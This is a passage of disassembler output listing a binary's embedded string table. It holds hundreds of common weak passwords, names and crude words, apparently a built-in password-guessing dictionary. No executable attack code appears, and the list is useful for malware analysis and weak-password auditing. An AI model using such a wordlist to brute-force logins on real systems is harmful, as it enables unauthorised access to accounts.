align 10h aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:004270E0o align 4 aRight db 'right',0 ; DATA XREF: .nsp0:004270DCo align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:004270D8o align 10h aRick db 'rick',0 ; DATA XREF: .nsp0:004270D4o align 4 aRich db 'rich',0 ; DATA XREF: .nsp0:004270D0o align 10h aRhino db 'rhino',0 ; DATA XREF: .nsp0:004270CCo align 4 aReveal db 'reveal',0 ; DATA XREF: .nsp0:004270C8o align 10h aResistan db 'resistan',0 ; DATA XREF: .nsp0:004270C4o align 4 aRepublic db 'republic',0 ; DATA XREF: .nsp0:004270C0o align 4 aReport db 'report',0 ; DATA XREF: .nsp0:004270BCo align 10h aRent db 'rent',0 ; DATA XREF: .nsp0:004270B8o align 4 aReno db 'reno',0 ; DATA XREF: .nsp0:004270B4o align 10h aRenee db 'renee',0 ; DATA XREF: .nsp0:004270B0o align 4 aRemote db 'remote',0 ; DATA XREF: .nsp0:004270ACo align 10h aRelease db 'release',0 ; DATA XREF: .nsp0:004270A8o aRegional db 'regional',0 ; DATA XREF: .nsp0:004270A4o align 4 aReferenc db 'referenc',0 ; DATA XREF: .nsp0:004270A0o align 10h aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042709Co aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:00427098o aRecord db 'record',0 ; DATA XREF: .nsp0:00427094o align 4 aRebel db 'rebel',0 ; DATA XREF: .nsp0:00427090o align 10h aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042708Co aRebal db 'rebal',0 ; DATA XREF: .nsp0:00427088o align 10h aReaper db 'reaper',0 ; DATA XREF: .nsp0:00427084o align 4 aReam db 'ream',0 ; DATA XREF: .nsp0:00427080o align 10h aReally db 'really',0 ; DATA XREF: .nsp0:0042707Co align 4 aReality db 'reality',0 ; DATA XREF: .nsp0:00427078o aReagan db 'reagan',0 ; DATA XREF: .nsp0:00427074o align 4 aRazor db 'razor',0 ; DATA XREF: .nsp0:00427070o align 10h aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042706Co align 4 aRape db 'rape',0 ; DATA XREF: .nsp0:00427068o align 10h aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:00427060o aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042705Co align 4 aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:00427058o aRain db 'rain',0 ; DATA XREF: .nsp0:00427054o align 4 aRaid db 'raid',0 ; DATA XREF: .nsp0:00427050o align 4 aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042704Co align 4 aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:00427048o align 4 aRachel db 'rachel',0 ; DATA XREF: .nsp0:00427044o align 4 aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:00427040o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042703Co align 4 aQwert db 'qwert',0 ; DATA XREF: .nsp0:00427038o align 4 aQuebec db 'quebec',0 ; DATA XREF: .nsp0:00427034o align 4 aPussy db 'pussy',0 ; DATA XREF: .nsp0:00427030o align 4 aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042702Co align 4 aPunk db 'punk',0 ; DATA XREF: .nsp0:00427028o align 4 aPunisher db 'punisher',0 ; DATA XREF: .nsp0:00427024o align 10h aPuneet db 'puneet',0 ; DATA XREF: .nsp0:00427020o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042701Co aPuke db 'puke',0 ; DATA XREF: .nsp0:00427018o align 4 aPuck db 'puck',0 ; DATA XREF: .nsp0:00427014o align 10h aPublic db 'public',0 ; DATA XREF: .nsp0:00427010o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042700Co align 4 aPsycho db 'psycho',0 ; DATA XREF: .nsp0:00427008o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:00427004o align 4 aProtect db 'protect',0 ; DATA XREF: .nsp0:00427000o aPrompt db 'prompt',0 ; DATA XREF: .nsp0:00426FFCo align 4 aProgram db 'program',0 ; DATA XREF: .nsp0:00426FF8o aProfile db 'profile',0 ; DATA XREF: .nsp0:00426FF4o aProfesso db 'professo',0 ; DATA XREF: .nsp0:00426FF0o align 4 aProcesso db 'processo',0 ; DATA XREF: .nsp0:00426FECo align 10h aProceed db 'proceed',0 ; DATA XREF: .nsp0:00426FE8o aPrivs db 'privs',0 ; DATA XREF: .nsp0:00426FE4o align 10h aPrivate db 'private',0 ; DATA XREF: .nsp0:00426FE0o aPriv db 'priv',0 ; DATA XREF: .nsp0:00426FDCo align 10h aPrinter db 'printer',0 ; DATA XREF: .nsp0:00426FD8o aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:00426FD4o align 4 aPrince db 'prince',0 ; DATA XREF: .nsp0:00426FD0o align 4 aPresto db 'presto',0 ; DATA XREF: .nsp0:00426FCCo align 4 aPrelude db 'prelude',0 ; DATA XREF: .nsp0:00426FC8o aPrecious db 'precious',0 ; DATA XREF: .nsp0:00426FC4o align 4 aPraise db 'praise',0 ; DATA XREF: .nsp0:00426FC0o align 10h aPower db 'power',0 ; DATA XREF: .nsp0:00426FBCo align 4 aPoster db 'poster',0 ; DATA XREF: .nsp0:00426FB8o align 10h aPost db 'post',0 ; DATA XREF: .nsp0:00426FB4o align 4 aPorsche db 'porsche',0 ; DATA XREF: .nsp0:00426FB0o aPorno db 'porno',0 ; DATA XREF: .nsp0:00426FACo align 4 aPorn db 'porn',0 ; DATA XREF: .nsp0:00426FA8o align 10h aPork db 'pork',0 ; DATA XREF: .nsp0:00426FA4o align 4 aPoor db 'poor',0 ; DATA XREF: .nsp0:00426FA0o align 10h aPoop db 'poop',0 ; DATA XREF: .nsp0:00426F9Co align 4 aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:00426F98o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:00426F94o align 10h aPolly db 'polly',0 ; DATA XREF: .nsp0:00426F90o align 4 aPolice db 'police',0 ; DATA XREF: .nsp0:00426F8Co align 10h aPoetry db 'poetry',0 ; DATA XREF: .nsp0:00426F88o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:00426F84o align 4 aPluto db 'pluto',0 ; DATA XREF: .nsp0:00426F80o align 4 aPlover db 'plover',0 ; DATA XREF: .nsp0:00426F7Co align 4 aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:00426F78o aPlane db 'plane',0 ; DATA XREF: .nsp0:00426F74o align 4 aPizza db 'pizza',0 ; DATA XREF: .nsp0:00426F70o align 4 aPiss db 'piss',0 ; DATA XREF: .nsp0:00426F6Co align 4 aPinname db 'pinname',0 ; DATA XREF: .nsp0:00426F68o aPimp db 'pimp',0 ; DATA XREF: .nsp0:00426F64o align 4 aPierre db 'pierre',0 ; DATA XREF: .nsp0:00426F60o align 4 aPick db 'pick',0 ; DATA XREF: .nsp0:00426F5Co align 4 aPhuck db 'phuck',0 ; DATA XREF: .nsp0:00426F58o align 4 aPhreak db 'phreak',0 ; DATA XREF: .nsp0:00426F54o align 4 aPhrase db 'phrase',0 ; DATA XREF: .nsp0:00426F50o align 4 aPhrack db 'phrack',0 ; DATA XREF: .nsp0:00426F4Co align 4 aPhoton db 'photon',0 ; DATA XREF: .nsp0:00426F48o align 4 aPhone db 'phone',0 ; DATA XREF: .nsp0:00426F44o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:00426F40o aPhilip db 'philip',0 ; DATA XREF: .nsp0:00426F3Co align 4 aPhil db 'phil',0 ; DATA XREF: .nsp0:00426F38o align 4 aPeter db 'peter',0 ; DATA XREF: .nsp0:00426F34o align 4 aPete db 'pete',0 ; DATA XREF: .nsp0:00426F30o align 4 aPervert db 'pervert',0 ; DATA XREF: .nsp0:00426F2Co aPersona db 'persona',0 ; DATA XREF: .nsp0:00426F28o aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:00426F24o align 4 aPermit db 'permit',0 ; DATA XREF: .nsp0:00426F20o align 10h aPerfect db 'perfect',0 ; DATA XREF: .nsp0:00426F1Co aPercolat db 'percolat',0 ; DATA XREF: .nsp0:00426F18o align 4 aPepper db 'pepper',0 ; DATA XREF: .nsp0:00426F14o align 4 aPeoria db 'peoria',0 ; DATA XREF: .nsp0:00426F10o align 4 aPentium db 'pentium',0 ; DATA XREF: .nsp0:00426F0Co aPenthous db 'penthous',0 ; DATA XREF: .nsp0:00426F08o align 4 aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:00426F04o align 4 aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:00426F00o align 10h aPenname db 'penname',0 ; DATA XREF: .nsp0:00426EFCo aPenis db 'penis',0 ; DATA XREF: .nsp0:00426EF8o align 10h aPenguin db 'penguin',0 ; DATA XREF: .nsp0:00426EF4o aPenelope db 'penelope',0 ; DATA XREF: .nsp0:00426EF0o align 4 aPencil db 'pencil',0 ; DATA XREF: .nsp0:00426EECo align 4 aPecker db 'pecker',0 ; DATA XREF: .nsp0:00426EE8o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:00426EE4o aPaula db 'paula',0 ; DATA XREF: .nsp0:00426EE0o align 4 aPatty db 'patty',0 ; DATA XREF: .nsp0:00426EDCo align 4 aPatriot db 'patriot',0 ; DATA XREF: .nsp0:00426ED8o aPatricia db 'patricia',0 ; DATA XREF: .nsp0:00426ED4o align 10h aPaste db 'paste',0 ; DATA XREF: .nsp0:00426ED0o align 4 aPassphra db 'passphra',0 ; DATA XREF: .nsp0:00426ECCo align 4 aPascal db 'pascal',0 ; DATA XREF: .nsp0:00426EC8o align 4 aPapers db 'papers',0 ; DATA XREF: .nsp0:00426EC4o align 4 aPaper db 'paper',0 ; DATA XREF: .nsp0:00426EC0o align 4 aPapa db 'papa',0 ; DATA XREF: .nsp0:00426EBCo align 4 aPamela db 'pamela',0 ; DATA XREF: .nsp0:00426EB8o align 4 aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:00426EB4o align 4 aPaint db 'paint',0 ; DATA XREF: .nsp0:00426EB0o align 10h aPainless db 'painless',0 ; DATA XREF: .nsp0:00426EACo align 4 aPacker db 'packer',0 ; DATA XREF: .nsp0:00426EA8o align 4 aPackard db 'packard',0 ; DATA XREF: .nsp0:00426EA4o aPacific db 'pacific',0 ; DATA XREF: .nsp0:00426EA0o aOxford db 'oxford',0 ; DATA XREF: .nsp0:00426E9Co align 4 aOutside db 'outside',0 ; DATA XREF: .nsp0:00426E98o aOutput db 'output',0 ; DATA XREF: .nsp0:00426E94o align 4 aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:00426E90o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:00426E8Co align 10h aOsiris db 'osiris',0 ; DATA XREF: .nsp0:00426E88o align 4 aOscar db 'oscar',0 ; DATA XREF: .nsp0:00426E84o align 10h aOrwell db 'orwell',0 ; DATA XREF: .nsp0:00426E80o align 4 aOrient db 'orient',0 ; DATA XREF: .nsp0:00426E7Co align 10h aOrca db 'orca',0 ; DATA XREF: .nsp0:00426E78o align 4 aOperator db 'operator',0 ; DATA XREF: .nsp0:00426E74o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:00426E70o align 10h aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:00426E6Co align 4 aOpening db 'opening',0 ; DATA XREF: .nsp0:00426E68o aOmega db 'omega',0 ; DATA XREF: .nsp0:00426E60o align 4 aOlivia db 'olivia',0 ; DATA XREF: .nsp0:00426E5Co align 4 aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:00426E58o align 10h aOldage db 'oldage',0 ; DATA XREF: .nsp0:00426E54o align 4 aOkay db 'okay',0 ; DATA XREF: .nsp0:00426E50o align 10h aOffice db 'office',0 ; DATA XREF: .nsp0:00426E4Co align 4 aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:00426E48o align 10h aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:00426E44o align 4 aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:00426E40o align 4 aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:00426E3Co aNuts db 'nuts',0 ; DATA XREF: .nsp0:00426E38o align 4 aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:00426E34o align 4 aNumber db 'number',0 ; DATA XREF: .nsp0:00426E30o align 4 aNull_1 db 'null',0 ; DATA XREF: .nsp0:00426E2Co align 4 aNukem db 'nukem',0 ; DATA XREF: .nsp0:00426E28o align 4 aNuke db 'nuke',0 ; DATA XREF: .nsp0:00426E24o align 4 aNude db 'nude',0 ; DATA XREF: .nsp0:00426E20o align 4 aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:00426E1Co aNoxious db 'noxious',0 ; DATA XREF: .nsp0:00426E18o aNovember db 'november',0 ; DATA XREF: .nsp0:00426E14o align 4 aNovel db 'novel',0 ; DATA XREF: .nsp0:00426E10o align 10h aNova db 'nova',0 ; DATA XREF: .nsp0:00426E0Co align 4 aNoth db 'noth',0 ; DATA XREF: .nsp0:00426E08o align 10h aNotes db 'notes',0 ; DATA XREF: .nsp0:00426E04o align 4 aNoreen db 'noreen',0 ; DATA XREF: .nsp0:00426E00o align 10h aNode db 'node',0 ; DATA XREF: .nsp0:00426DFCo align 4 aNobody db 'nobody',0 ; DATA XREF: .nsp0:00426DF8o align 10h aNoble db 'noble',0 ; DATA XREF: .nsp0:00426DF4o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:00426DF0o align 10h aNita db 'nita',0 ; DATA XREF: .nsp0:00426DECo align 4 aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:00426DE8o align 4 aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:00426DE4o align 10h aNight db 'night',0 ; DATA XREF: .nsp0:00426DE0o align 4 aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:00426DDCo align 4 aNicole db 'nicole',0 ; DATA XREF: .nsp0:00426DD8o align 4 aNice db 'nice',0 ; DATA XREF: .nsp0:00426DD4o align 4 aNext db 'next',0 ; DATA XREF: .nsp0:00426DD0o align 4 aNewyork db 'newyork',0 ; DATA XREF: .nsp0:00426DCCo aNewton db 'newton',0 ; DATA XREF: .nsp0:00426DC8o align 4 aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:00426DC4o align 4 aNews db 'news',0 ; DATA XREF: .nsp0:00426DC0o align 10h aNewborn db 'newborn',0 ; DATA XREF: .nsp0:00426DBCo aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:00426DB8o aNetscape db 'netscape',0 ; DATA XREF: .nsp0:00426DB4o align 4 aNess db 'ness',0 ; DATA XREF: .nsp0:00426DB0o align 4 aNeptune db 'neptune',0 ; DATA XREF: .nsp0:00426DACo aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:00426DA8o align 4 aNavy db 'navy',0 ; DATA XREF: .nsp0:00426DA4o align 10h aNasa db 'nasa',0 ; DATA XREF: .nsp0:00426DA0o align 4 aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:00426D9Co align 4 aNancy db 'nancy',0 ; DATA XREF: .nsp0:00426D98o align 4 aName db 'name',0 ; DATA XREF: .nsp0:00426D94o align 4 aNagel db 'nagel',0 ; DATA XREF: .nsp0:00426D90o align 4 aMutant db 'mutant',0 ; DATA XREF: .nsp0:00426D8Co align 4 aMuppets db 'muppets',0 ; DATA XREF: .nsp0:00426D88o aMsdos db 'msdos',0 ; DATA XREF: .nsp0:00426D84o align 4 aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:00426D80o align 4 aMozart db 'mozart',0 ; DATA XREF: .nsp0:00426D7Co align 4 aMovies db 'movies',0 ; DATA XREF: .nsp0:00426D78o align 4 aMovie db 'movie',0 ; DATA XREF: .nsp0:00426D74o align 4 aMove db 'move',0 ; DATA XREF: .nsp0:00426D70o align 4 aMouse db 'mouse',0 ; DATA XREF: .nsp0:00426D6Co align 4 aMountain db 'mountain',0 ; DATA XREF: .nsp0:00426D68o align 10h aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:00426D64o align 4 aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:00426D60o align 4 aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:00426D5Co align 10h aMortal db 'mortal',0 ; DATA XREF: .nsp0:00426D58o align 4 aMorris db 'morris',0 ; DATA XREF: .nsp0:00426D54o align 10h aMorley db 'morley',0 ; DATA XREF: .nsp0:00426D50o align 4 aMore db 'more',0 ; DATA XREF: .nsp0:00426D4Co align 10h aMoose db 'moose',0 ; DATA XREF: .nsp0:00426D48o align 4 aMoor db 'moor',0 ; DATA XREF: .nsp0:00426D44o align 10h aMoom db 'moom',0 ; DATA XREF: .nsp0:00426D40o align 4 aMonica db 'monica',0 ; DATA XREF: .nsp0:00426D3Co align 10h aMonday db 'monday',0 ; DATA XREF: .nsp0:00426D38o align 4 aMoguls db 'moguls',0 ; DATA XREF: .nsp0:00426D34o align 10h aMogul db 'mogul',0 ; DATA XREF: .nsp0:00426D30o align 4 aModem db 'modem',0 ; DATA XREF: .nsp0:00426D2Co align 10h aMode db 'mode',0 ; DATA XREF: .nsp0:00426D28o align 4 aMkii db 'mkii',0 ; DATA XREF: .nsp0:00426D24o align 10h aMission db 'mission',0 ; DATA XREF: .nsp0:00426D20o aMisfit db 'misfit',0 ; DATA XREF: .nsp0:00426D1Co align 10h aMinsky db 'minsky',0 ; DATA XREF: .nsp0:00426D18o align 4 aMinimum db 'minimum',0 ; DATA XREF: .nsp0:00426D14o aMine db 'mine',0 ; DATA XREF: .nsp0:00426D10o align 4 aMike db 'mike',0 ; DATA XREF: .nsp0:00426D0Co align 10h aMidieval db 'midieval',0 ; DATA XREF: .nsp0:00426D08o align 4 aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:00426D04o align 4 aMicropro db 'micropro',0 ; DATA XREF: .nsp0:00426D00o align 4 aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:00426CFCo align 10h aMicro db 'micro',0 ; DATA XREF: .nsp0:00426CF8o align 4 aMickey db 'mickey',0 ; DATA XREF: .nsp0:00426CF4o align 10h aMichelle db 'michelle',0 ; DATA XREF: .nsp0:00426CF0o align 4 aMichele db 'michele',0 ; DATA XREF: .nsp0:00426CECo aMichelan db 'michelan',0 ; DATA XREF: .nsp0:00426CE8o align 10h aMichel db 'michel',0 ; DATA XREF: .nsp0:00426CE4o align 4 aMichael db 'michael',0 ; DATA XREF: .nsp0:00426CE0o aMice db 'mice',0 ; DATA XREF: .nsp0:00426CDCo align 4 aMets db 'mets',0 ; DATA XREF: .nsp0:00426CD8o align 10h aMetalica db 'metalica',0 ; DATA XREF: .nsp0:00426CD4o align 4 aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:00426CD0o align 4 aMetal db 'metal',0 ; DATA XREF: .nsp0:00426CCCo align 10h aMerlin db 'merlin',0 ; DATA XREF: .nsp0:00426CC8o align 4 aMercury db 'mercury',0 ; DATA XREF: .nsp0:00426CC4o aMenu db 'menu',0 ; DATA XREF: .nsp0:00426CC0o align 4 aMenace db 'menace',0 ; DATA XREF: .nsp0:00426CBCo align 10h aMemory db 'memory',0 ; DATA XREF: .nsp0:00426CB8o align 4 aMember db 'member',0 ; DATA XREF: .nsp0:00426CB4o align 10h aMelrose db 'melrose',0 ; DATA XREF: .nsp0:00426CB0o aMellon db 'mellon',0 ; DATA XREF: .nsp0:00426CACo align 10h aMelissa db 'melissa',0 ; DATA XREF: .nsp0:00426CA8o aMegan db 'megan',0 ; DATA XREF: .nsp0:00426CA4o align 10h aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:00426CA0o align 4 aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:00426C9Co align 4 aMeagan db 'meagan',0 ; DATA XREF: .nsp0:00426C98o align 10h aMaurice db 'maurice',0 ; DATA XREF: .nsp0:00426C94o aMath db 'math',0 ; DATA XREF: .nsp0:00426C90o align 10h aMaster db 'master',0 ; DATA XREF: .nsp0:00426C8Co align 4 aMason db 'mason',0 ; DATA XREF: .nsp0:00426C88o align 10h aMary db 'mary',0 ; DATA XREF: .nsp0:00426C84o align 4 aMarvin db 'marvin',0 ; DATA XREF: .nsp0:00426C80o align 10h aMarty db 'marty',0 ; DATA XREF: .nsp0:00426C7Co align 4 aMars db 'mars',0 ; DATA XREF: .nsp0:00426C78o align 10h aMarriage db 'marriage',0 ; DATA XREF: .nsp0:00426C74o align 4 aMarni db 'marni',0 ; DATA XREF: .nsp0:00426C70o align 4 aMarkus db 'markus',0 ; DATA XREF: .nsp0:00426C6Co align 4 aMark db 'mark',0 ; DATA XREF: .nsp0:00426C68o align 4 aMarines db 'marines',0 ; DATA XREF: .nsp0:00426C64o aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:00426C60o align 4 aMarietta db 'marietta',0 ; DATA XREF: .nsp0:00426C5Co align 4 aMariens db 'mariens',0 ; DATA XREF: .nsp0:00426C58o aMaria db 'maria',0 ; DATA XREF: .nsp0:00426C54o align 4 aMarcy db 'marcy',0 ; DATA XREF: .nsp0:00426C50o align 4 aMarci db 'marci',0 ; DATA XREF: .nsp0:00426C4Co align 4 aMara db 'mara',0 ; DATA XREF: .nsp0:00426C48o align 4 aManager db 'manager',0 ; DATA XREF: .nsp0:00426C44o aMana db 'mana',0 ; DATA XREF: .nsp0:00426C40o align 4 aMalcom db 'malcom',0 ; DATA XREF: .nsp0:00426C3Co align 4 aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:00426C38o aMaint db 'maint',0 ; DATA XREF: .nsp0:00426C34o align 4 aMail db 'mail',0 ; DATA XREF: .nsp0:00426C30o align 4 aMagnet db 'magnet',0 ; DATA XREF: .nsp0:00426C2Co align 4 aMagic db 'magic',0 ; DATA XREF: .nsp0:00426C28o align 4 aMaggot db 'maggot',0 ; DATA XREF: .nsp0:00426C24o align 4 aMacro db 'macro',0 ; DATA XREF: .nsp0:00426C20o align 4 aMack db 'mack',0 ; DATA XREF: .nsp0:00426C1Co align 4 aMacintos db 'macintos',0 ; DATA XREF: .nsp0:00426C18o align 10h aMachine db 'machine',0 ; DATA XREF: .nsp0:00426C14o aLynne db 'lynne',0 ; DATA XREF: .nsp0:00426C10o align 10h aLynn db 'lynn',0 ; DATA XREF: .nsp0:00426C0Co align 4 aLust db 'lust',0 ; DATA XREF: .nsp0:00426C08o align 10h aLuke db 'luke',0 ; DATA XREF: .nsp0:00426C04o align 4 aLude db 'lude',0 ; DATA XREF: .nsp0:00426C00o align 10h aLucy db 'lucy',0 ; DATA XREF: .nsp0:00426BFCo align 4 aLucus db 'lucus',0 ; DATA XREF: .nsp0:00426BF8o align 10h aLuck db 'luck',0 ; DATA XREF: .nsp0:00426BF4o align 4 aLover db 'lover',0 ; DATA XREF: .nsp0:00426BF0o align 10h aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:00426BECo aLouis db 'louis',0 ; DATA XREF: .nsp0:00426BE8o align 10h aLoser db 'loser',0 ; DATA XREF: .nsp0:00426BE4o align 4 aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:00426BE0o align 4 aLorin db 'lorin',0 ; DATA XREF: .nsp0:00426BDCo align 4 aLori db 'lori',0 ; DATA XREF: .nsp0:00426BD8o align 4 aLore db 'lore',0 ; DATA XREF: .nsp0:00426BD4o align 4 aLoose db 'loose',0 ; DATA XREF: .nsp0:00426BD0o align 4 aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:00426BCCo align 4 aLois db 'lois',0 ; DATA XREF: .nsp0:00426BC8o align 4 aLogout db 'logout',0 ; DATA XREF: .nsp0:00426BC4o align 4 aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:00426BC0o align 4 aLogic db 'logic',0 ; DATA XREF: .nsp0:00426BBCo align 10h aLockword db 'lockword',0 ; DATA XREF: .nsp0:00426BB8o align 4 aLockout db 'lockout',0 ; DATA XREF: .nsp0:00426BB4o aLock db 'lock',0 ; DATA XREF: .nsp0:00426BB0o align 4 aLoad db 'load',0 ; DATA XREF: .nsp0:00426BACo align 4 aLive db 'live',0 ; DATA XREF: .nsp0:00426BA8o align 4 aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:00426BA4o align 4 aLisp db 'lisp',0 ; DATA XREF: .nsp0:00426BA0o align 10h aLisa db 'lisa',0 ; DATA XREF: .nsp0:00426B9Co align 4 aLips db 'lips',0 ; DATA XREF: .nsp0:00426B98o align 10h aLion db 'lion',0 ; DATA XREF: .nsp0:00426B94o align 4 aLink db 'link',0 ; DATA XREF: .nsp0:00426B90o align 10h aLinda db 'linda',0 ; DATA XREF: .nsp0:00426B8Co align 4 aLimited db 'limited',0 ; DATA XREF: .nsp0:00426B88o aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:00426B84o align 4 aLima db 'lima',0 ; DATA XREF: .nsp0:00426B80o align 4 aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:00426B7Co align 10h aLight db 'light',0 ; DATA XREF: .nsp0:00426B78o align 4 aLife db 'life',0 ; DATA XREF: .nsp0:00426B74o align 10h aLicker db 'licker',0 ; DATA XREF: .nsp0:00426B70o align 4 aLick db 'lick',0 ; DATA XREF: .nsp0:00426B6Co align 10h aLibrary db 'library',0 ; DATA XREF: .nsp0:00426B68o aLiberal db 'liberal',0 ; DATA XREF: .nsp0:00426B64o aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:00426B60o align 4 aLewis db 'lewis',0 ; DATA XREF: .nsp0:00426B5Co align 4 aLetmein db 'letmein',0 ; DATA XREF: .nsp0:00426B58o aLeslie db 'leslie',0 ; DATA XREF: .nsp0:00426B54o align 4 aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:00426B50o aLeroy db 'leroy',0 ; DATA XREF: .nsp0:00426B4Co align 4 aLeland db 'leland',0 ; DATA XREF: .nsp0:00426B48o align 4 aLegal db 'legal',0 ; DATA XREF: .nsp0:00426B44o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:00426B40o align 10h aLeft db 'left',0 ; DATA XREF: .nsp0:00426B3Co align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:00426B38o align 4 aLeah db 'leah',0 ; DATA XREF: .nsp0:00426B34o align 4 aLazer db 'lazer',0 ; DATA XREF: .nsp0:00426B30o align 4 aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:00426B2Co aLava db 'lava',0 ; DATA XREF: .nsp0:00426B28o align 4 aLaura db 'laura',0 ; DATA XREF: .nsp0:00426B24o align 4 aLaser db 'laser',0 ; DATA XREF: .nsp0:00426B20o align 4 aLarry db 'larry',0 ; DATA XREF: .nsp0:00426B1Co align 4 aLarkin db 'larkin',0 ; DATA XREF: .nsp0:00426B18o align 4 aLara db 'lara',0 ; DATA XREF: .nsp0:00426B14o align 4 aLaptop db 'laptop',0 ; DATA XREF: .nsp0:00426B10o align 4 aLana db 'lana',0 ; DATA XREF: .nsp0:00426B0Co align 4 aLaminati db 'laminati',0 ; DATA XREF: .nsp0:00426B08o align 4 aLambda db 'lambda',0 ; DATA XREF: .nsp0:00426B04o align 10h aLakers db 'lakers',0 ; DATA XREF: .nsp0:00426B00o align 4 aLadle db 'ladle',0 ; DATA XREF: .nsp0:00426AFCo align 10h aLadies db 'ladies',0 ; DATA XREF: .nsp0:00426AF8o align 4 aKristy db 'kristy',0 ; DATA XREF: .nsp0:00426AF4o align 10h aKristine db 'kristine',0 ; DATA XREF: .nsp0:00426AF0o align 4 aKristin db 'kristin',0 ; DATA XREF: .nsp0:00426AECo aKristie db 'kristie',0 ; DATA XREF: .nsp0:00426AE8o aKristi db 'kristi',0 ; DATA XREF: .nsp0:00426AE4o align 4 aKristen db 'kristen',0 ; DATA XREF: .nsp0:00426AE0o aKrista db 'krista',0 ; DATA XREF: .nsp0:00426ADCo align 4 aKnown db 'known',0 ; DATA XREF: .nsp0:00426AD8o align 4 aKnightma db 'knightma',0 ; DATA XREF: .nsp0:00426AD4o align 4 aKnight db 'knight',0 ; DATA XREF: .nsp0:00426AD0o align 10h aKnife db 'knife',0 ; DATA XREF: .nsp0:00426ACCo align 4 aKlingon db 'klingon',0 ; DATA XREF: .nsp0:00426AC8o aKitten db 'kitten',0 ; DATA XREF: .nsp0:00426AC4o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:00426AC0o align 4 aKiss db 'kiss',0 ; DATA XREF: .nsp0:00426ABCo align 4 aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:00426AB8o align 4 aKirk db 'kirk',0 ; DATA XREF: .nsp0:00426AB4o align 10h aKing db 'king',0 ; DATA XREF: .nsp0:00426AB0o align 4 aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:00426AACo align 4 aKilo db 'kilo',0 ; DATA XREF: .nsp0:00426AA8o align 4 aKillthem db 'killthem',0 ; DATA XREF: .nsp0:00426AA4o align 4 aKill db 'kill',0 ; DATA XREF: .nsp0:00426AA0o align 10h aKids db 'kids',0 ; DATA XREF: .nsp0:00426A9Co align 4 aKeyword db 'keyword',0 ; DATA XREF: .nsp0:00426A98o aKeyin db 'keyin',0 ; DATA XREF: .nsp0:00426A94o align 4 aKeybord db 'keybord',0 ; DATA XREF: .nsp0:00426A90o aKewl db 'kewl',0 ; DATA XREF: .nsp0:00426A8Co align 4 aKevin db 'kevin',0 ; DATA XREF: .nsp0:00426A88o align 10h aKerry db 'kerry',0 ; DATA XREF: .nsp0:00426A84o align 4 aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:00426A80o align 10h aKerri db 'kerri',0 ; DATA XREF: .nsp0:00426A7Co align 4 aKernel db 'kernel',0 ; DATA XREF: .nsp0:00426A78o 